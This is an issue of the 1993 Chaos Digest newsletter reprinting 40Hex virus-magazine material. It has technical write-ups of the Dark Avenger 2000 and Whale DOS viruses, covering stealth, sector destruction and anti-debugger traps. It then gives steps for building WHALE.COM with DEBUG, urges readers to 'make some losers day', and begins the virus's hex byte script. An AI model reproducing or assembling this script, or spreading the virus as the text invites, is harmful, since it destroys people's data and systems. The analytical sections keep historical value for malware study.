Chaos Digest Mercredi 19 Mai 1993 Volume 1 : Numero 28 ISSN 1244-4901 Editeur: Jean-Bernard Condat (jbcondat@attmail.com) Archiviste: Yves-Marie Crabbe Co-Redacteurs: Arnaud Bigare, Stephane Briere TABLE DES MATIERES, #1.28 (19 Mai 1993) File 1--40H VMag Issue 1 Volume 2 #005(2)-006(1) (reprint) Chaos Digest is a weekly electronic journal/newsletter. Subscriptions are available at no cost by sending a message to: linux-activists-request@niksula.hut.fi with a mail header or first line containing the following informations: X-Mn-Admin: join CHAOS_DIGEST The editors may be contacted by voice (+33 1 47874083), fax (+33 1 47877070) or S-mail at: Jean-Bernard Condat, Chaos Computer Club France [CCCF], B.P. 155, 93404 St-Ouen Cedex, France. He is a member of the EICAR and EFF (#1299) groups. Issues of ChaosD can also be found on some French BBS. Back issues of ChaosD can be found on the Internet as part of the Computer underground Digest archives. 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Please avoid quoting previous posts unless absolutely necessary. DISCLAIMER: The views represented herein do not necessarily represent the views of the moderators. Chaos Digest contributors assume all responsibility for ensuring that articles submitted do not violate copyright protections. ---------------------------------------------------------------------- Date: Tue May 11 09:24:40 PDT 1993 From: 0005847161@mcimail.com (American_Eagle_Publication_Inc. ) Subject: File 1--40H VMag Issue 1 Volume 2 #005(2)-006(1) (reprint) Part III - DARK AVENGER 2000 ---------------------------- Date: 02 Feb 90 10:49:00 +0700 From: Vesselin Bontchev This virus is also "made in Bulgaria" and again I am indirectly the cause of its creation. I am a well known "virus-buster" in Bulgaria and my antivirus programs are very widely used. Of course, virus designers didn't like it. So their next creation... causes trouble to my antivirus programs. This virus is exactly 2000 bytes long and I think that it was created by the author of the Eddie (Dark Avenger) virus. The programming style is the same and there are even pieces of code which are the same. The virus acts much like the Eddie one --- it installs resident in memory by manipulating the memory control blocks; infects COMMAND.COM at the first run; infects both .COM- and .EXE-files; infects files when one executes them as well as when one copies them. However, there are some extras added. First, the virus is able to fetch the original INT 13h vector just like the V512 one (by using the same undocumented function --- tricks spread fast between virus programmers). Second, it intercepts the find-first (FCB) and find-next (FCB) functions -- just like V651 (aka EDDIE II) (and contains the same bugs), so you won't see the increased file lengths in the listing displayed by the DIR command. Third, it contains the string "Copyright (C) 1989 by Vesselin Bontchev", so people may think that I am the author of this virus. In fact, the virus searches every program being executed for this string (the case of the letters does not matter) and if found, hangs the system. It is not necessary to tell you that all my antivirus programs contain this string. Of course, now I will have to use some kind of encryption, just to prevent such tricks. Vesselin Bontchev reported in May 1990: The V2000 virus (DARK AVENGER 2000) =================================== - It turned out that the example of this virus I sent to some of the antivirus researchers was not the original version. The original contains the string "Only the Good die young..." instead of the "Copy me - I want to travel" message. Also a small piece of code in the original version was patched to contain the "666" string. (That is, the version you have contains this string, the original does not.) - There exists also a small mutation of the version you have. The only difference is that the C' character in the word "Copy" was changed to Z'. - When describing the V2000 virus, I stated that it halts the computer if you run a program which contains the string "Copyright (c) 1989 by Vesselin Bontchev". This is not quite correct. In fact, the programs are only checked for the "Vesselin Bontchev" part of the string. - I obtained John McAfee's program Clean, version 60. In the accompanying documentation he states about the V2000 virus that "The virus is very virulent and has caused system crashes and lost data, as well as causing some systems to become non-bootable after infection". This is not very correct, or at least, there is much more to be said. The virus is exactly as virulent as the Dark Avenger virus, and for the same reason. It infects files not only when one executes them, but also when one reads or copies them. This is achieved exactly in the same manner as in the Dark Avenger. The systems become non-bootable when the virus infects the two hidden files of the operating system - it cannot distinguish them from the regular .COM files. By the way, the Dark Avenger virus often causes the same effect. And at last, but not least (:-)), the virus is highly destructive - just as the Dark Avenger is. It destroys the information on a randomly selected sector on the disk once in every 16 runs of an infected program. The random function is exactly the same, and the counters (0 to 15 and for the last attacked sector) are exactly the same and on the same offsets in the boot sector as with the Dark Avenger virus. The main difference is that the destroyed sector is overwritten not with a part of the virus body, but with the boot sector instead. This makes a bit more difficult to discover which files are destroyed - the boot sector is contained in many "good" programs, such as FORMAT, SYS, NDD. Also, the nastiest thing - the damage function is not performed via INT 26h (which can be intercepted). The virus determines the address of the device driver for the respective disk unit (using an undocumented DOS function call, of course. I begin to wonder if Ralf Brown did any good when he made the information in the INTERxyy file available :)). Then it performs a direct call to that address. The device driver in DOS does its work and issues the appropriate INT 13h. However the virus has scanned the controllers' ROM space and has determined the original address of the interrupt handler - just as the Dark Avenger virus does. Then it has temporary replaced the INT 13h vector with the address of this handler. The result is that the damage function cannot be intercepted. - Also this virus (unlike Dark Avenger) supports PC-DOS version 4.0 and will work (and infect) under it. - The bytes 84 A8 A0 AD A0 20 8F 2E in the virus body are the name "Diana P.", this time written in cyrillics. Unknown Source +++++ 40Hex Volume 1 Issue 2 0006 The Whale Virus Oh yes here it is, the biggest and meanest virus around. First before you go and compile it read what Patti thinks of it. Aliases: Mother Fish, Stealth Virus, Z The Whale V Status: Research Discovered: August, 1990 Symptoms: .COM & .EXE growth; decrease in available memory; system slowdown; video flicker; slow screen writes; file allocation errors; simulated system reboot Origin: Hamburg, West Germany Eff Length: 9,216 Bytes Type Code: PRhA - Parasitic Resident .COM & .EXE Infector Detection Method: ViruScan V67+, Pro-Scan 2.01+, NAV, IBM Scan 2.00+ Removal Instructions: Scan/D, CleanUp V67+, Pro-Scan 2.01+, or Delete infected files General Comments: The Whale Virus was submitted in early September, 1990. This virus had been rumored to exist since the isolation of the Fish 6 Virus in June, 1990. It has been referred to by several names besides Whale, including Mother Fish and Z The Whale. The origin of this virus is subject to some speculation, though it is probably from Hamburg, West Germany due to a reference within the viral code once it is decrypted. The first time a program infected with the Whale Virus is executed, the Whale will install itself memory resident in high system memory but below the 640K DOS boundary. On the author's XT clone, the virus always starts at address 9D90. Available free memory will be decreased by 9,984 bytes. Most utilities which display memory usage will also indicate a value for total system memory which is 9,984 bytes less than what is actually installed. The following text string can be found in memory on systems infected with the Whale virus: "Z THE WHALE". Immediately upon becoming memory resident, the system user will experience the system slowing down. Noticeable effects of the system slowdown include video flicker to extremely slow screen writes. Some programs may appear to "hang", though they will eventually execute properly in most cases since the "hang" is due to the slowing of the system. When a program is executed with the Whale memory resident, the virus will infect the program. Infected programs increase in length, the actual change in length is usually 9,216 bytes. Note the "usually": this virus does occasionally infect a program with a "mutant" which will be a different length. If the file length increase is exactly 9,216 bytes, the Whale will hide the change in file length when a disk directory command is executed. If the file length of the viral code added to the program is other than 9,216 bytes, the file length displayed with the directory command will either the actual infected file length, or the actual infected file length minus 9,216 bytes. Executing the DOS CHKDSK program on infected systems will result in file allocation errors being reported. If CHKDSK /F is executed, file damage will result. The Whale also alters the program's date/time in the directory when the file is executed, though it is not set to the system date/time of infection. Occasionally, Whale will alter the directory entry for the program it is infecting improperly, resulting in the directory entry becoming invalid. These programs with invalid directory entries will appear when the directory is listed, but some disk utilities will not allow access to the program. In these cases, the directory entry can be fixed with Norton Utilities FD command to reset the file date. The Whale occasionally will change its behavior while it is memory resident. While most of the time it only infects files when executed, there are periods of time when it will infect any file opened for any reason. It will also, at times, disinfect files when they are copied with the DOS copy command, at other times it will not "disinfect on the fly". Occasionally, the Whale Virus will simulate what appears to be a system reboot. While this doesn't always occur, when it does occur the Break key is disabled so that the user cannot exit unexpectedly from the execution of the system's AutoExec.Bat file. If the AutoExec.Bat file contained any software which does file opens of other executable programs, those opened executable programs will be infected at that time if they were not previously infected. Typically, files infected in this manner will increase by 9,216 bytes though it will not be shown in a directory listing. A hidden file may be found in the root directory of drive C: on infected files. This file is not always present, the virus will sometimes remove it, only to recreate it again at a later time. The name of this hidden file is FISH-#9.TBL, it contains an image of the hard disk's partition table along with the following message: "Fish Virus #9 A Whale is no Fish! Mind her Mutant Fish and the hidden Fish Eggs for they are damaging. The sixth Fish mutates only if the Whale is in her Cave." After the discovery of this hidden file, the author of this document made several attempt to have the Fish 6 Virus mutate by introducing it and Whale into a system. Under no circumstances did a mutation of either virus result, the resultant files were infected with both an identifiable Fish 6 infection and a Whale infection. Whale is hostile to debuggers and contains many traps to prevent successful decryption of the virus. One of its "traps" is to lock out the keyboard if it determines a debugger is in use. Here's a side note by the author of F-Prot Whale This is a recent, rather remarkable virus. It is long, 9216 bytes and able to infect COM and EXE files. The increase in file size is not visible though, while the virus is active in memory, as it uses several advanced "stealth" methods. Other effects of the virus are not known, but one infected program displayed the following message when run: THE WHALE IN SEARCH OF THE 8 FISH I AM 'knzyvo ' IN HAMBURG addr error D9EB,02 Most of the virus is devoted to encryption and code which moves blocks of virus code around. This overhead results in a considerable slowdown of infected systems. And here it is. Use your editor to copy the below machine language script to a file called WHALE.SCR Next use DEBUG to make it into a COM file. Use the command DEBUG < WHALE.SCR When it gets done you'll see a file called WHALE.COM. There it is, have fun - and make some losers day! --------------------------------------------------------------------------- n whale.com e 0100 E9 C9 23 01 F5 21 E1 02 C0 00 D2 07 FF FF 99 14 e 0110 00 E9 B8 23 CD 20 8D 01 BD 00 E1 02 C0 00 D2 07 e 0120 FF FF 99 14 FE FF E3 8F 01 00 99 14 1E 00 00 00 e 0130 26 FB 5A 26 47 48 63 33 57 6E 52 4C 63 3D FF 10 e 0140 D4 06 75 EC 06 7E 17 75 25 FA 03 24 3D 8B 21 90 e 0150 C3 24 67 2A 08 12 07 C4 E0 5B 08 9C 06 E1 15 66 e 0160 03 7B 25 7D D4 06 4E 36 9C 08 90 C3 24 D4 06 4C e 0170 36 FF 38 D4 06 4A 36 35 02 40 C7 20 7D 25 E5 13 e 0180 C7 20 48 25 26 34 C3 77 3D 8B 29 3D 8B 38 48 81 e 0190 E5 5C 01 BA 1D 53 AF CD CF CF 22 02 D9 A7 29 27 e 01A0 4A 2E D9 14 2E 05 24 5F D5 B7 EB 38 1D 1F CE BF e 01B0 FF CC 4B BB 11 1B 81 11 06 EF A5 D0 02 A7 24 68 e 01C0 63 AD 0A 07 0C E8 A2 14 E8 5E 1A 38 38 E5 68 30 e 01D0 23 BD DB 29 AA 6A 23 92 26 48 3A F5 2C 38 B3 4A e 01E0 E0 16 AE 59 1C 03 01 88 2C F6 F5 0E 92 3E 22 3A e 01F0 B1 13 33 1C B7 D8 19 BD 1F FE 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